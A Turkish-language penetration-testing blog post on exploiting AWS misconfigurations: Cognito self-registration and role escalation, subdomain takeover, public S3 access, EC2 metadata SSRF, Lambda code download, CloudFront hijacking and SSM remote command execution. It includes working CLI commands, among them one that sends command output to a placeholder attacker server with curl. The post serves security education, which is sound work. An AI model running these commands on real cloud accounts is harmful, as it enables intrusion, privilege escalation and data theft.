ayberk.ninja ayberk.ninja

Bulutlara Dokunmak ☁️ - AWS/Exploitation

20 minutes to read

Herkese selamlar. Bir önceki yazıda AWS Enumeration isimli blog post’ta AWS ortamları ile ilgili bilgi toplama aşamalarından bahsetmiştim. Bu blog post’ta ise AWS ortamlarındaki zafiyetlerin nasıl tespit edilebileceği ve özellikle nasıl sömürülebileceğini dilim döndüğünce anlatacağım. Eğer Enumeration aşamasını anlattığım yazımı okumadıysanız bu yazıya devam etmeden önce okumanızı şiddetle tavsiye ediyorum. İlgili yazıya bu linkten ulaşabilirsiniz. Lafı fazla uzatmadan konuya bir girişgah yapalım.

Son olarak şunu da belirtmeliyim ki AWS’in gerçekten çok fazla hizmeti bulunmakta. Bu blogpost popüler hizmetleri ve popüler zafiyetleri kapsıyor olacak. Motivasyon bulabilirsem ilerleyen süreçlerde farklı servislerle ilgili ve bu blogpost’ta konu alan servislerle ilgili tek tek daha detaylı blogpost’lar oluşturmayı hedefliyorum.

Cognito

Cognito kaynaklı zafiyetlere geçmeden önce Cognito’nun ne olduğundan bahsedelim. Cognito, AWS’nin tanımına göre:

Web ve mobil uygulamalarınıza hızlı ve kolayca kullanıcı kaydı, oturum açma ve erişim denetimi eklemenize olanak sağlar. Amazon Cognito, milyonlarca kullanıcıya ölçeklenir ve Apple, Facebook, Google, Amazon gibi sosyal kimlik sağlayıcılarının yanı sıra SAML 2.0 ve OpenID Connect aracılığıyla kurumsal kimlik sağlayıcıları ile oturum açmayı destekler.

Kısaca eğer karşımızda bir giriş sayfası mevcutsa Cognito olabileceği anlamına gelir.

Çok kabaca Cognito’nun yapısına da göz atalım.

What Is Cognito

Yukarıdaki görselden de anlaşılabileceği üzere Cognito, User Pool’dan giriş yapmak isteyen kullanıcı için bir token alır. Yani Authentication işlemi User Pool’da gerçekleşir. Cognito ile ilgili daha detaylı bilgiyi AWS dokümantasyonundan okuyabilirsiniz. Peki Cognito tarafından ne gibi zafiyetler ortaya çıkabilir, nasıl tespit edilir ve nasıl sömürülür?

Cognito Self-Registration

Cognito üzerindeki yapılandırmalar doğru yapılmamışsa ve Self-Registration seçeneği açık bırakılmış ise AWS CLI aracı kullanılarak ilgili adrese kayıt olmamız mümkündür. Bu yalnızca giriş sayfası bulunan (kayıt ol sayfası bulunmayan) web uygulamalarında içeriye girmemizi sağlayacaktır.

Cognito Self Registration Settings

AWS CLI aracı bu yazı serisi boyunca sıkça kullanacağımız bir araç olacak. Zaten bu aracı Enumeration makalesinden biliyor olmalısınız. Peki bir giriş sayfasının Cognito kullanıp kullanmadığını nasıl anlarız?

Ben demo ortamı için kendi AWS hesabımdan bir User Pool oluşturarak Self Hosted bir demo yaptım.

Aşağıdaki görselde örnek bir Cognito isteği görmektesiniz.

Cognito Sample Request

İlgili istekteki JSON değerini decode ettiğimizde ise aşağıdaki değeri göreceğiz.

{
  "payload": "{\"contextData\":{\"UserAgent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0\",\"DeviceId\":\"k42hjub1o4bvom18z6l7:1636927248305\",\"DeviceLanguage\":\"en-US\",\"DeviceFingerprint\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0en-US\",\"DevicePlatform\":\"Win32\",\"ClientTimezone\":\"03:00\"},\"username\":\"ayberk\",\"userPoolId\":\"\",\"timestamp\":\"1636927248305\"}",
  "signature": "6QpDggY8w8VcwC5UVsn8whfhMM31FgBNlvdj6NC6VIo=",
  "version": "JS20171115"
}

Peki bir giriş sayfasında Cognito kullanıldığına kesinlik getirdik. Bu durumdan sonra zafiyeti nasıl sömüreceğiz? Bu noktada AWS CLI yardımımıza koşuyor.

aws cognito-idp sign-up --client-id <clientIdHere> --username <usernameHere> --password <passwordHere>

Yukarıdaki komut AWS CLI yardımı ile ilgili web uygulamasına kayıt olmuş olacaksınız. Buradaki ClientId değerini ise giden HTTP isteği içerisinde görebilirsiniz. Sisteme başarıyla kayıt olmanız durumunda aşağıdaki gibi bir çıktı alacaksınız.

Cognito CLI Sign Up

Yukarıdaki görselde “UserConfirmed”: false demesinin sebebi ben User Pool’u yapılandırırken kullanıcılara hesaplarını doğrulayabilmelerini sağlayacak bir imkan tanımamış olmam. Tanımlı olduğunu var sayarsak bu işlemden sonra ya e-mail hesabımıza gelen yada telefon numaramıza gelen doğrulama kodu ile hesabımızı doğrulamamız gerekecekti. Bunun için aşağıdaki komut işimizi görecektir.

aws cognito-idp confirm-sign-up --client-id 2td4sv3elfomlr27t1p9rjhje5 --username ayberk --confirmation-code 133713

AWS CLI üzerinde cognito-idp ile ilgili detaylı bilgiye AWS dokümantasyonundan ulaşabilirsiniz.

Cognito İle Yetki Yükseltme Saldırısı

Cognito tarafının doğru yapılandırılmaması ile yapılabilecek bir diğer saldırı vektörü ise yetki yükseltmedir. Bir örnek olarak normalde yetkisiz bir kullanıcı olduğunuz sistemde Admin yetkilerine yükselebilirsiniz. Tahmin edebileceğiniz üzere bu işlemi yapmadan önce hangi yetkilere sahip olduğumuzu anlamamız gerekmekte.

Bunun için öncelikli olarak giden/gelen HTTP isteklerindeki JWT Token’ı AWS CLI’da kullanmak üzere tanımlamamız gerekmekte. Bunu dilersek AWS CLI’ın –access-token parametresine direkt verebiliriz veya Bash’in (zsh vs. de olabilir) güzelliklerinden faydalanarak bir değişkene atayarak verebiliriz. Her ikisi de aynı sonucu verecektir. Ardından aşağıdaki komutu çalıştıralım;

aws cognito-idp get-user --access-token $token

Bu komut sonucunda ekrana ilgili kullanıcının yetkileri yazdırılacaktır. Örneğin Name=”custom:role” attribute’ına sahip de value’su user olan bir kullanıcı için aşağıdaki komut ile yetki yükseltmeyi deneyebiliriz;

aws cognito-idp update-user-attributes --access-token $token --user-attributes Name="custom:role",Value="admin"

Bu komut her zaman bir çıktı vermeyebilir. Fakat işlem başarısız olursa muhtemelen An error occured (NotAuthorizedException) when calling the UpdateUserAttributes operation: A client attempted to write unauthorized attribute tarzında bir hata alacaksınız. En basit yöntem ile ilgili web uygulamasına erişim sağlayarak yetki yükseltme işleminin gerçekleşip gerçekleşmediğini anlayabilirsiniz. Bu zafiyetten etkilenmemek için ise ilgili User Pool’unuzun Policies sekmesi altındaki custom:role Writable Attribute’ını disable etmeniz yeterli olacaktır.

Subdomain Takeover

Söz konusu cloud olunca subdomain takeover’dan bahsetmeden geçmek olmaz. Subdomain takeover zafiyeti AWS tarafına özgü bir zafiyet değildir. Fakat ben bu makalede bu zafiyeti AWS tarafı için ele alıyor olacağım. Bir önceki makalede S3 Bucket’lardan bahsetmiştik. Konumuz tam olarak bu S3 Bucket’lar ile alakalı.

Subdomain Takeover zafiyeti, adı üstünde bir alt alan adının ele geçirilmesi anlamına gelmektedir. Bir örnek üzerinden anlatmak gerekirse; poc.ayberk.ninja alt alanadı için doğal olarak bir CNAME kaydı olması gerekmekte. Fakat bu alt alanadının register tarihi gelip geçebilir ve site sahibi tekrar register etmeyebilir. CNAME kaydı silinmediği sürece ilgili saldırı ortaya çıkar. Aşağıdaki görselde ilgili saldırıyı çok daha iyi anlayacağınızı düşünüyorum.

Subdomain Takeover

Subdomain Takeover zafiyetini her zaman olduğu gibi AWS CLI aracı ile de sömürebiliriz. Fakat ben bu yöntemi anlatacağım diğer yönteme göre daha meşakatli buluyorum. O yüzden bu zafiyeti sömürürken AWS CLI aracını kullanmayacağız. Testi gerçekleştirdiğiniz alt alan adlarında Subdomain Takeover zafiyetinin var olup olmadığını anlamanın çeşitli yolları mevcut. Elbette bu işi otomatize yapan araçlar da (Aquatone, Subjack vs. ) mevcut. Özetle ilgili alt ala adını açtığınızda aşağıdaki gibi bir sayfa sizi karşılıyorsa bu ilgili zafiyetinin var olabileceği anlamına gelir.

AWS Bucket Error

Zafiyeti sömürüsü için bir AWS hesabınızın bulunması gerekiyor. Sırasıyla aşağıdaki adımları izlemelisiniz:

Tüm bu işlemlerin ardından ilgili alan adında artık yüklediğiniz PoC dosyasının yayına alınmış olduğunu göreceksiniz.

S3 Bucket Zafiyetleri

Hazır S3 Bucket’lardan bahsetmişken buraya özgü zafiyetlerden de bahsetmeden geçmek olmaz. S3 Bucket’lar ile ilgili iki farklı zafiyetten bahsedeceğim. Zaman kaybetmeden hemen konuya girişgah yapalım.

S3 Bucket Public ‘READ’ Access

Bu konuya aslında bir önceki blogpost’ta değinmiştik. Bir S3 Bucket’ının oluşturulurken veya sonradan ilgili Permission’ların doğru yapılandırılmamasından kaynaklanmaktadır. Bu zafiyet dolayısı ile Bucket üzerindeki varlıklara yetkisiz bir biçimde erişilebilmektedir. Bir önceki blogpost’ta flaws.cloud üzerindeki örnekten gitmiştik. Bu sefer farklı bir örnek olması açısından AWS konsol üzerinden zafiyetli bir S3 Bucket oluşturdum. Bu Bucket üzerinden ilerleyelim.

İlgili Bucket üzerinde aşağıdaki komut çalıştırıldığı takdirde dosyaların listelenebilir olmasını beklemekteyiz.

aws s3 ls s3://vulnbucket/ --no-sign-request

AWS S3 ls

Listedeğimiz dosyaları aşağıdaki komut ile okumaya çalışalım. Bunun için doğrudan tarayıcımız ile ilgili URL’e gitmemiz yeterli olacaktır.

AWS S3 CLI File Read

Bu zafiyetli S3 Bucket’ının oluşması için kullandığım Policy ise şu şekilde:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "AllowPublicRead",
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:*",
            "Resource": [
                "arn:aws:s3:::vulnbucket",
                "arn:aws:s3:::vulnbucket/*"
            ]
        }
    ]
}

Son olarak Public Readable Bucket’ları otomatize bir şekilde tespit etmek için s3recon aracından da faydalanabilirsiniz.

S3 Bucket Authenticated Users ‘WRITE’ Access

S3 Bucket’ların yine yanlış yapılandırılmasından kaynaklanan bir başka zafiyet. Bu zafiyette işler biraz daha kritik bir hal alarak dosya yüklenmesi de mümkün hale geliyor. Hemen oluşturduğum zafiyetli Bucket üzerinden bir örnek yapalım.

aws s3 cp up.txt s3://vulnbucket/ --no-sign-request

Yukarıdaki komut up.txt dosyasının S3 Bucket’ı üzerine yüklenmesini sağlayacaktır.

AWS S3 CLI File Upload

Tahmin edebileceğiniz üzere bu oldukça kritik bir zafiyettir. Senaryoya göre kullanıcıların Cookie bilgisini çalmak, sistem üzerinde uzaktan komut çalıştırmak ve daha çeşitli pek çok zafiyete sebebiyet verebilir. Keza bu Policy’leri güvensiz şekilde ayarlarken aslında AWS bas bas bağırıyor güvensiz olduğunu.

Bu noktada şunu belirtmeden devam etmeyelim. AWS üzerindeki zafiyetleri ararken yalnızca ilgili alan adı üzerinden denememek gerekmekte. Kaynak kodu okumak, alt alan adlarını araştırmak oldukça faydalı olacaktır. Bir örnek olarak hedef sistemimiz belkide yalnızca CDN olarak AWS hizmetlerini kullanıyor oluyor.

EC2 SSRF

SSRF ve EC2 ikilisini aynı cümlede görüyorsanız oldukça kritik biz zafiyet ile karşı karşıyasınız anlamına gelmektedir. Zafiyetin detaylarına girmeden önce EC2 Metadata kavramından bahsedelim.

Metadata, çalışmakta olan bir EC2 Instance’ı hakkında çeşitli bilgiler vermektedir. 169.254.169.254 adresinde çalışmakta olan bir REST API ile iletişime geçerek aslında tarafımıza çeşitli bilgileri sunmaktadır. Tarafımıza sunulan bilgilerde oldukça kritik olabilecek bilgilerde yer almaktadır.

EC2 Metadata Instance’ında işimize yarayabilecek bazı URI’lar şunlardır:

Zafiyet SSRF’in var oluşu ile gerçekleşiyor. Aslında bildiğimiz, aşina olduğumuz SSRF. Fakat biz burada ilgili EC2 Instance’ının metadata verilerini okuyoruz. EC2 üzerinde oluşturduğum zafiyetli web uygulaması üzerinden bir demo ile konuyu netleştirelim. Bunun için bir EC2 ayaklandırıp üzerine içerisinde SSRF zafiyetini de barındıran BWAPP uygulamasını yükledim. (Ref: Anunay Bhatt)

SSRF olduğunu bildiğimiz alana (URI’daki language parametresi) http://169.254.169.254/latest/meta-data/ değerini girdiğimizde karşımıza çıkan çıktı aşağıdaki ekran görüntüsünde gösterilmiştir.

EC2 SSRF Vulnerability

Son olarak EC2 Instance’larını test ederken SSH, RDP gibi üzerinde çalışan servislere de göz atmakta fayda var.

Lambda Kaynaklı Zafiyetler

Lambda servisinin Amazon’daki karşılığını bir önceki blogpost’ta anlatmıştım. Burada yazılan koddan kaynaklı Command Injection, XXE gibi zafiyetler ortaya çıkabilmekte. Yani bu noktada doğabilecek zafiyetler Lambda fonksiyonundan kaynaklı değil geliştiricinin Lambda gereksinimlerini code-base’de nasıl kullandığı ile alakalıdır. Bu noktada belirtmeliyim ki çok sayıda senaryo türetilebilir.

Konuyu net bir şekilde anlayabilmek adına çokça zafiyetli kod parçasının incelenmesinden yanayım. Bunun için Github’daki ilgili repo’yu inceleyebilirsiniz.

Ancak elinizde bir AWS key ikilisi varsa aşağıdaki komutlar ile Lambda fonksiyon kodlarını indirebilirsiniz.

aws lambda list-functions

Yukarıdaki komut ile Lambda fonksiyonlarını listeledikten sonra aşağıdaki iki komut ilgili Lambda fonksiyonlarını indirmenizi sağlayacaktır.

aws lambda get-function --function-name [FunctionName] --query 'Code.Location'

Ardından

wget -O exposedFunction.zip [URL]

Son olarak AWS üzerindeki tüm Lambda fonksiyonlarını indirebileceğiniz bu mini script‘te işinizi görecektir.

CloudFront Hijacking

CloudFront kısaca AWS tarafından sunulan bir CDN (Content Delivery Network) hizmetidir. Kullanıcılar bu CDN hizmetini S3 Bucket’lar, Elastic Load Balancer, MediaStore Container ve MediaPackage Container için kullanabilmekteler. CDN hizmetinin ne olduğunu bilmeyen okuyucaların burada makaleye bir ara vererek CDN kavramını araştırmalarını öneririm. CloudFront Cache’e alınmış içeriğin nereden döneceğini belirlemek için HTTP Host başlık bilgisini kullanır. Buradaki zafiyet aslında mantık olarak olarak Subdomain Takeover zafiyetine benzemektedir. Süreç şu şekilde işlenmektedir.

Yukarıda anlatmış olduğum adımlardan yola çıkarak zafiyetin varlığının manuel olarak tespitinin oldukça kolay olduğunu anlamış olmalısınız. Fakat bu işlem için otomatize araçları kullanmak daha faydalı olacaktır. Bunun en temel sebebi ise atak yüzeyini arttırmak istememiz ve zamanımızın bize kalmasını istememizdir. Bu noktada CloudFrunt aracını kullanarak hem zafiyetin tespitini hem de exploitation aşamasını gerçekleştirebilirsiniz.

Zafiyeti manuel olarak sömürmek için ise AWS hesabınıza giriş yaparak S3 Bucket oluşturmanız ardından bu Bucket’ı CloudFront’a bağlamanız yeterli olacaktır.

IAM

IAM’in ne olduğunu da bir önceki makalede açıklamıştım. Eğer elinize bir şekilde AWS Secret Key ve Access Key ikilisi geçtiyse atak yüzeyiniz oldukça genişleyecektir.

Bu noktada belirtmeliyim ki yapacağımız işlemler ele geçirdiğimiz key ikilisinin sınırları kadardır. Eğer elimizde yetkili bir kullanıcıya ait key ikilisi varsa şanslıyız demektir.

IAM tarafından çok çeşitli bilgiler elde edebilirsiniz. Bilgi toplamak amaçlı çok sayıda temel komut bulunmaktadır. Ancak bu noktada pek çok bilgiyi manuel bir şekilde toplamak zaman kaybı olacaktır. Bu işlem için enumerate-iam.py aracını kullanabilirsiniz. Araç kısaca AWS keylerini verdiğimiz kullanıcının sahip olduğu yetkileri, ID bilgisini, ARN bilgisini, parola politikasını ve daha çok çeşitli bilgiyi listeleyecektir. IAM üzerinden yetki yükseltme işlemlerini bir sonraki blogpost olan “Post-Exploitation” makalesinde değineceğim.

SSM RCE

AWS’nin SSM (System Manager Agent) hizmeti, çeşitli AWS kaynaklarınızla ilgili istatistikleri takip etmenizi, süreçleri otomatize etmenizi sağlayan bir hizmettir. Aşağıdaki görsel SSM’in çalışma mantığını çok daha iyi açıklayacaktır.

AWS SSM

AWS SSM sayesinde yeni Policie’ler ve Role’ler oluşturulabilir. Buradaki önemli nokta SSM’in kullanılabilmesi için agent’ın makinelerde yüklü olması gerekmesidir. SSM servisi kullanılarak EC2 Instance’larına çeşitli komutlar gönderilebilmektedir. Bu sayede RCE zafiyeti elde edilebilir. Kısaca eğer bir şekilde (örneğin GitHub repolarından veya SSRF ile) AWS key’lerini elde ettiyseniz bu zafiyetin de varlığını denemeniz kesinlikle çok kritik olacaktır. Aşağıdaki AWS CLI komutunu inceleyelim;

aws ssm send-command --document-name "AWS-RunShellScript" --comment "RCE test: whoami" --targets "Key=instanceids,Values=[instanceid]" --parameters 'commands=whoami'

Yukarıdaki komutu kullanabilmek için elbette öncelikle AWS CLI’ınızı elde ettiğiniz AWS key’leri ile konfigüre ettiğinizi var sayıyorum. –document-name parametresi SSM belgesinin adıdır. AWS’de tanımlı genel bir belge adı veya özel bir belge adı olabilir. –comment parametresi isminden de anlaşılabileceği üzere yorum parametresidir. –targets parametresinde SSM komutunun çalıştılacağı EC2 Instance’ın ID’sini giriyoruz. Ve son olarak –parameters komutu ile sistemde çalışmasını istediğimiz komutu giriyoruz. İlgili komut bize aşağıdaki gibi bir çıktı verecektir;

{
    "Command": {
        "CommandId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
        "DocumentName": "AWS-RunShellScript",
        "DocumentVersion": "",
        "Comment": "RCE test: whoami",
        "ExpiresAfter": "2021-02-05T13:37:00.000000+01:00",
        "Parameters": {
            "commands": [
                "whoami"
            ]
        },
        "InstanceIds": [],
        "Targets": [
            {
                "Key": "instanceids",
                "Values": [
                    "i-xxxxxxxxxxxxxxxxx"
                ]
            }
        ],
        "RequestedDateTime": "2021-02-05T13:37:00.000000+01:00",
        "Status": "Pending",
        "StatusDetails": "Pending",
        "OutputS3BucketName": "",
        "OutputS3KeyPrefix": "",
        "MaxConcurrency": "50",
        "MaxErrors": "0",
        "TargetCount": 0,
        "CompletedCount": 0,
        "ErrorCount": 0,
        "DeliveryTimedOutCount": 0,
        "ServiceRole": "",
        "NotificationConfig": {
            "NotificationArn": "",
            "NotificationEvents": [],
            "NotificationType": ""
        },
        "CloudWatchOutputConfig": {
            "CloudWatchLogGroupName": "",
            "CloudWatchOutputEnabled": false
        },
        "TimeoutSeconds": 3600
    }
}

Buradaki CommandId değerini aşağıdaki komutta kullanarak yürütülen komut hakkında (bu senaryo için whoami) bilgi edinebilirsiniz.

aws ssm list-command-invocations --command-id "[CommandId]" --details

Bu komutlar bizlere saldırının başarılı olup olmadığı bilgisini verse de yürütülen komutun çıktısını vermeyecektir. Bunun için aşağıdaki komutu kullanarak çıktının açtığımız bir uzak sunucuya gönderilmesini sağlayabiliriz.

aws ssm send-command --instance-ids "[instanceid]" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl [AttackerServerIP]`whoami`' --output text --region=us-east-1

AWS CLI’daki diğer SSM parametreleri ile ilgili detaylı bilgi almak için AWS’nin kendi dokümantasyonuna göz atabilirsiniz.

Yardımcı Araçlar

Tüm bu süreçlerde yardımımıza koşan pek çok araç elbette var. Zaten yazı içerisinde pek çok araçtan bahsettim. Bu başlık altında yalnızca All In One araçlardan bahsedeceğim. Fakat bu araçların detaylarına fazla inmeyeceğim. Zaten blogpost’ta yer alan her bir aracın kendi dokümantasyonları oldukça detaylı.

Nessus

İlk olarak vaz geçilmezimiz Nessus ile de AWS ortamlarımızın güvenliğini test edebileceğimizi hatırlatayım. Bunun için aşağıdaki adımlar izlenmelidir.

Detaylı açıklama için Nessus’un kendi dokümantasyonunu inceleyebilirsiniz.

Scan Cloud with Nessus

Pacu

Pacu açık kaynak kodlu bir AWS Exploitation framework’üdür. Yukarıda anlattığımız tüm işlemleri Pacu’nun modüllerini kullanarakta gerçekleştirmemiz mümkündür. Pacu’yu Docker aracılığıyla veya pip3 ile kurabilirsiniz.

Örnek olarak aşağıdaki komut IAM Permission’larını listeleyecektir.

run iam_enum_permissions

PACU IAM Permission

weirdAAL

weirdAAL bir başka açık kaynak kodlu AWS Attack aracından biri. İçerisindeki çok sayıda modül sayesinde AWS Exploitation sırasında birçok ihtiyacınıza cevap verecektir.

ScoutSuite

ScoutSuite bir başka security auditing aracıdır. ScoutSuite yalnızca AWS ortamını değil; aynı zamanda GCP, Azure, Alibaba Cloud ve Oracle Cloud ortamlarında da kullanılabilen bir araçtır. Oldukça okunaklı çıktılar üretmektedir. Örnek bir çıktıyı aşağıdaki ekran görüntüsünde görmektesiniz.

ScoutSuite Results

aws_pwn

aws_pwn hem enumeration hem exploitation hem de post-exploitation aşamalarında kullanabileceğiniz bir araçtır.

Scour

Scour, Go programlama dili ile yazılmış AWS ortamı üzerinde yine enumeration, exploitation ve post-exploitation amacıyla kullanılabilecek All In One bir araçtır.

CloudSploit

Son olarak CloudSploit; Aqua tarafından geliştirilmiş olan ve AWS, Azure, GCP ve Oracle Cloud ortamlarında All In One zafiyet taraması yapan bir araçtır.

Diğer Araçlar

Adını bu makalede geçirmeden geçemeyeceğimiz birkaç aracımız daha mevcut elbette. Rapid7’ın Insight Cloud ürünü, Amazon’un Inspector‘ü, yine Amazon’u AWS Security Hub‘ı, Trend Micro’nun Cloud One‘ı ve son olarak kesinlikle yine bahsetmeden geçmek olmaz dediğim Snyk

Ayrıca AWS’nin AWS Security Competency Partners’lerinin tam listesine buradan ulaşabilirsiniz.

Son Söz

Son olarak bulut ortamlar üzerine yapılan atak vektörlerini daha iyi anlayabilmek adına MITRE’nin Cloud Enterprise MATRIX‘ini detaylıca inceleyebilirsiniz. Enumeration, exploitation ve post-exploitation aşamalarında kullanılan pek çok TTP burada yer almakta. Herhangi bir geri bildiriminiz olması durumunda benimle herhangi bir iletişim kanalı (Twitter, Threema vb.) üzerinden iletişime geçebilirsiniz.